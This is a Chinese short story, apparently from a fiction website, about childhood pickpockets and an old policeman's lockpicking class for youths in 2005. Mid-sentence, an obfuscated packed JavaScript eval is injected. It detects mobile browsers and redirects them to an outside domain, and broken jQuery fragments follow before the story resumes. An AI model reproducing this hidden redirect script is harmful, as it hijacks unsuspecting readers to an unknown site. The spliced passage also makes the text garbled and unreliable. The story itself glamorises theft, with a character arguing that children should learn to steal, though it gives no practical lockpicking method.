苏在整理旧物时，从饼干盒底摸出一把锈蚀的钥匙链。那个褪色的塑料吊坠上印着"欣欣小卖部"四个字，让她想起小学时总趴在玻璃柜台上的男孩——鼎子。


    那年冬天的放学路上，鼎子叔叔的小卖部总飘着烤肠的焦香。穿皮夹克的男人常靠在柜台边，袖口露出半截青蛇纹身。他会把过期的泡泡糖分给孩子们，眼神却始终盯着校门口接孩子的家长们鼓胀的皮包。


    "苏丫头。"有次鼎子突然拽住她书包带，"你看那个穿貂的阿姨，像不像你妈？"


    苏顺着望去，只看见女人肩头滑落的钱包，像熟透的果子坠向雪地。鼎子的手在空气中划出奇妙的弧线，等回过神来，那串挂着翡翠吊坠的钥匙已经在他掌心闪光。


    "这叫''摘星星''。"他把冰凉的钥匙按在苏手里，"我叔说天上星星太远，地上的星星才实在。"


    对门搬走前那户人家，男主人有双异常柔软的手。他总在深夜带不同客人上楼，那些高跟鞋的声音像某种密码。苏透过猫眼见过他给鼎子递纸袋，里面装着会哗啦响的金属制品。搬家那天，他们扔下一本杭州旅游指南，扉页上印着断桥残雪的图案。


    巷口的卤味香持续了十五年。玻璃柜里的烧鸭永远油亮饱满，老板老陈切肉时总戴着那副脱线的棉纱手套——左手无名指缺了半截，是二十年前在K3次列车上落下的纪念。


    某个梅雨季的傍晚，苏去鼎子叔叔店里买盐，看见老陈湿淋淋地闯进来，腋下夹着当天的晚报。他抖开报纸时，油墨味混着卤汁的八角香在柜台前炸开。


    "老周没了。"老陈的指甲敲在黑白讣告栏上，那块豆腐干大小的版面印着穿旧式警服的照片。鼎子叔叔擦眼镜的手突然停住，镜片上凝结的水珠滚落到报纸边缘。


    "九七年冬天..."老陈用切熟食的刀比划了个斜切的动作，"东站天桥底下..."


    鼎子叔叔突然大笑起来，从柜台下摸出半瓶九江双蒸。他们用印着"欣欣小卖部"的塑料杯碰杯，酒液溅在报纸老警察的眉心，像颗迟到的子弹。


    鼎子叔叔从收银机摸出三枚硬币，在玻璃台面上排成纵列："当年要不是老周追得太紧..."


    "现在该叫周叔。"老陈把硬币翻了个面，露出菊花图案，"敬我们的启蒙老师。"


    门外雨停了。苏看见他们用油乎乎的指尖在报纸上描画某种路线图，老陈缺指的手像截断的铁路标尺。第二天清晨，那页报纸出现在卤味店橱窗里，正好垫着一盘新出锅的卤鸭掌。


    苏现在捏着这把锈钥匙，突然明白当年那些"摘星星"的人，其实都是银河的囚徒。他们用特殊的手势打开不属于自己的门，却永远困在2005年的冬天——那时小卖部的烤肠机还在嗡嗡响，对门的钢琴声盖过高跟鞋的脚步，而卤味店的橱窗倒影里，尚能拼凑出完整的童年。


    时光回到2005年


    老周把六把铜锁摊在绒布上时，阳光正斜斜地切过少年宫斑驳的窗棂。警棍砸柜的巨响惊起三只乌鸦，黑色羽翼拍碎黄昏的光线。最瘦弱的那只撞上铁丝网，飘落的羽毛粘在潮湿的玻璃上。


    "今天练双排齿。"他咳嗽着敲黑板，粉笔灰惊醒了后排打盹的陈俊俊。这个总把刘海挑染一撮黄的男孩立刻捅了捅同桌："赌五毛，我能用发卡开。"他边说边往门口挪了半尺——那里有他提前松动的门轴，开关无声。


    杨家俊的铅笔在笔记本上走龙蛇。他画出的锁芯剖面图比教材还精细，指尖转着的曲别针突然"咔"地绷直。讲台的老周猛地回头，却见少年正用改锥帮杨鼎子调整挂锁的卡簧——没人注意到他刚才三秒开锁的动作。


    杨鼎子的抽屉里有小袋石墨粉。每当陈川挑衅地晃着撬开的锁头，他就默默给生锈的锁孔加油。此刻他正偷换老周的示范锁，把同学弄坏的锁和自己修好的调包。阳光照在他手腕的烫伤疤上，像枚褪色的铜钥匙。


    杨鼎子


    "要是...我们都不想学呢？"


    老警察（转动警棍）


    "那就永远当个，"


    （棍尖挑起他下巴）


    "被锁在外面的人。"


    "我赢了！"陈川突然举起弹开的锁，引得老周皱眉。可当他发现锁舌根本没对准扣环时，耳根瞬间涨红："这、这锁设计有问题！"他踹了脚桌腿，震落杨家俊刚画好的图纸。


    雷梦城扶眼镜的手停在半空。他面前摊着《机械原理》，书页间夹着自制的杠杆力分析图。"理论上，"他小声对空气演讲，"如果计算好扭力峰值..."铁丝在他手里弯成斐波那契螺旋。（俯拍：糖果散落）


    雷梦城突然按住一颗蓝色糖果。


    雷梦城


    "这颗是苦的。"


    （舔指尖）


    "□□的味道。"


    老警察（突然大笑）


    "终于有个带脑子的！"


    教室突然安静。李东京捧着钥匙箱站在门口，白衬衫扣到顶。"周老师，教务处要备用钥匙。"他目光扫过每个人手边的锁具，在陈俊俊发亮的裤袋停留半秒——那里有从女同学笔盒顺走的蝴蝶结发卡。


    老周分发新锁时，陈俊俊的椅子已经空了大半。杨鼎子接过锁的瞬间，指腹摸到熟悉的刮痕——又是上周被他修好的那把。雷梦城突然举手："根据胡克定律，这种弹子结构..."话音未落，下课铃惊醒门后偷听的陈俊俊，他跑太快撞翻了李东京的钥匙箱。


    杨家俊的抽屉里总放着一盒生锈的锁芯，像是某种秘密收藏。


    少年宫的午后闷热，蝉鸣粘稠。老周在讲台上打盹，其他人昏昏欲睡，只有杨家俊的指尖还在动。他从铅笔盒里取出一根回形针，掰直，又弯成钩，动


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949935|177513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作轻得像在拆解一个梦境。


    面前的锁是最老式的铜挂锁，表面布满划痕，锁孔里积着陈年的灰尘。杨家俊没有急着撬它，而是用指腹轻轻摩挲锁身，像是在和它对话。然后，他低头，睫毛在眼下投出一小片阴影，铁丝缓缓探入锁孔——


    咔。


    锁开了，但没人听见。


    杨家俊没有像陈川那样得意地举起来炫耀，也没有像陈俊俊那样立刻溜走。他只是静静地盯着锁芯内部，像是看着某种宇宙的缩影——弹子的排列、弹簧的张力、金属的磨损，每一样都精确得像数学公式。


    他忽然想起昨晚看的机械工程杂志，里面有一张齿轮传动系统的剖面图。锁芯和齿轮，本质上是一样的——它们都在运转，只是有些人只想着打开它，而有些人想的是它为什么能转动。


    "杨家俊！"老周突然点名，"你发什么呆？"


    他抬头，眼神平静，手里的锁不知何时已经重新扣上，完好如初。


    "没，"他低声说，"只是在想……锁芯比人心简单。"


    窗外，一片梧桐叶飘落，擦过窗框，像一把无形的钥匙，轻轻划过世界的锁孔。


    三十八把钥匙在走廊叮当作响。李东京蹲着收拾，突然对虚空轻笑："教务处根本没人值班啊。"他的白球鞋踩住滚向陈俊俊的钥匙圈，上面挂着女同学失踪的草莓橡皮。


    陈俊俊（突然举手）


    "老师，我爸爸说好孩子不动别人东西..."


    老警察（警棍轻拍他脸颊）


    "你爸银行卡密码是你生日，对吧？"


    夕阳把六个影子拉长投在墙上，像一组被撬开的锁具剖面。少年宫顶楼，老周摸出兜里的石墨粉袋子——杨鼎子偷偷塞的，包装纸上写着："周老师，3号教室的门轴该上油了。"


    玻璃震颤时，杨家俊的瞳孔同步收缩。羽毛飘落在李东京摊开的手心。


    李东京（嗅羽毛）


    "为什么乌鸦比鸽子飞得低？"


    老警察（捏碎羽毛）


    "因为背负的秘密太重。”


    （打火机火焰）


    火光映出李东京笔记本上的算式。


    李东京


    "威慑力=破坏力×不可预测性÷道德约束..."


    老警察（吹灭火焰）


    "错。"


    （黑暗中的声音）


    "威慑力=他们想象你能做什么。你以为你不偷东西，遵纪守法别人会尊重你，我看过太多人，你们学会如何去偷才知道怎么不被偷，才不会被贼惦记上，我们不要学怎么去防小偷我们学怎么做就可以了，但是如果你们没有这个能力，哼哼，你们有一天会感谢我的"


    雨滴在铁丝网上撞成水晶碎片。警棍倒影在积水里扭曲生长，最终化作铁窗般的栅栏，笼罩所有孩子的倒影。